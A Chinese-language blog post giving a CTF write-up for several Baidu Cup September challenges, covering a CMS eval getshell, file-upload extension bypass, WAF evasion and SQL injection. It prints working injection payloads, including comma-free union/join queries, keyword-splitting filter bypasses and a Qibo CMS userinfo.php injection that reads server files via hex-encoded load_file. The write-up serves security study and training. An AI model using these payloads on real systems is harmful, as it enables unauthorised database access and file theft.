Xi4or0uji's blog

百度杯 ctf 九月场

字数统计: 1.1k阅读时长: 4 min
2018/10/31 Share

发现还有这堆题没刷,刷一刷,记一下

Test

这题是海洋cms的前台getshell漏洞,百度一下就能看到一堆的解释,翻一翻看见其实是利用了一个eval函数的漏洞,因为对客户端的输入过滤不严,导致可以执行任意代码,具体利用在search.php的页面

可以看到,我们确实可以执行任意代码,接下来我们用菜刀连过去看下数据库的信息

最后连接数据库就能看到flag了

123

这题进去看到一个login.php,看下源码可以看见

但是访问下user.php没有信息,猜测是源码泄露,扫一下果然看见了.swp有个文件下来,点开看到一堆人名,用burpsuite暴力跑一下密码,成功登入
结果看到一个空页面,什么操作??

好的,源码看到这个鬼东西,就是文件上传漏洞了,去掉注释发个php文件,emmm,不能包含php,尝试一下php3,php4,php5,pht,phtml这些,最后发现pht可以绕过

这里他会检测文件的内容,所以想写php是不可能的了,但是成功传了文件发现居然给回来一条链接view.php,提示file?
猜测是读取文件,试下在后面加一个file=flag,果然触发waf了,试下重复下名字,好了,成功了

SQLI

这题其实进去会发现302重定向了,然后原来的网页有个l0gin.php

注入点在原来的页面,在后面加个l0gin.php就能看到真正的注入页面了,这题其实就是一般的回显的注入,只是过滤了逗号,所以要用个join去构造payload

1
' union select * from (select database()) from information_schema.tables ) a join (select version() ) b %23


1
' union select * from (select group_concat(distinct(table_schema)) from information_schema.tables ) a join (select version() ) b %23


1
' union select * from (select group_concat(distinct(table_name)) from information_schema.tables where table_schema='sqli') a join (select version() ) b %23


1
' union select * from (select group_concat(distinct(column_name)) from information_schema.columns where table_name='users') a join (select version() ) b %23


1
' union select * from (select flag_9c861b688330 from users) a join (select version() ) b %23

SQL

这题进去可以看到提示flag在数据库里面,尝试一下在id后面加union、select等字符,发现会触发waf,尝试一下sel<>ect进行绕过,成功,接下来就是注入了
注入很简单,普通的回显注入

1
2
3
4
?id=1 un<>ion sele<>ct 1,database(),3#
?id=1 un<>ion sele<>ct 1,group_concat(table_name),3 from information_schema.tables where table_schema='sqli'#
?id=1 un<>ion sele<>ct 1,group_concat(column_name),3 from information_schema.columns where table_schema='sqli'#
?id=1 un<>ion sele<>ct 1,flAg_T5ZNdrm,3 from info#


这题很奇怪,flag是拿到了,但是提交确实答案错误,喵喵喵???

再见cms

这道题题目很明显,就是在考cms的漏洞,首先我们先确定好是什么cms好吧,谷歌一波发现是齐博的cms,来一篇离别歌大佬的博客
https://bugs.leavesongs.com/php/%E9%BD%90%E5%8D%9A%E6%95%B4%E7%AB%99-%E5%9C%B0%E6%96%B9%E9%97%A8%E6%88%B7sql%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E/
然后我们就去利用啦,首先注册个账号,然后去userinfo.php进行注入
先寻找注入点

1
2
http://246ec0b9b99b49e0b389942159f82cedd0c28f2815984231.game.ichunqiu.com/member/userinfo.php?job=edit&step=2
truename=xxxx%0000&Limitword[000]=&email=123@qq.com&provinceid=,address=(select version()) where uid=3 %23

然后我们刷新一下个人主页,确实是有版本号回显的

好了,找到注入点就能进行注入了

1
truename=xxxx%0000&Limitword[000]=&email=123@qq.com&provinceid=,address=(select group_concat(distinct(table_schema)) from information_schema.tables) where uid=3 %23


1
truename=xxxx%0000&Limitword[000]=&email=123@qq.com&provinceid=,address=(select group_concat(distinct(table_name)) from information_schema.tables where table_schema=database()) where uid=3 %23


1
truename=xxxx%0000&Limitword[000]=&email=123@qq.com&provinceid=,address=(select group_concat(distinct(column_name)) from information_schema.columns where table_name = (select distinct(table_name) from information_schema.tables where table_schema = database() limit 1) ) where uid = 3 %23


到了这里,我们突然发现,数据库里居然没有flag的信息,大胆猜测,可能是/var/www/html/flag.php
所以就用load_file进行注入,发现flag会被ban,那就换成十六进制

1
truename=xxxx%0000&Limitword[000]=&email=123@qq.com&provinceid=,address=(select load_file(0x2F7661722F7777772F68746D6C2F666C61672E706870) ) where uid = 3 %23

CATALOG
  1. 1. Test
  2. 2. 123
  3. 3. SQLI
  4. 4. SQL
  5. 5. 再见cms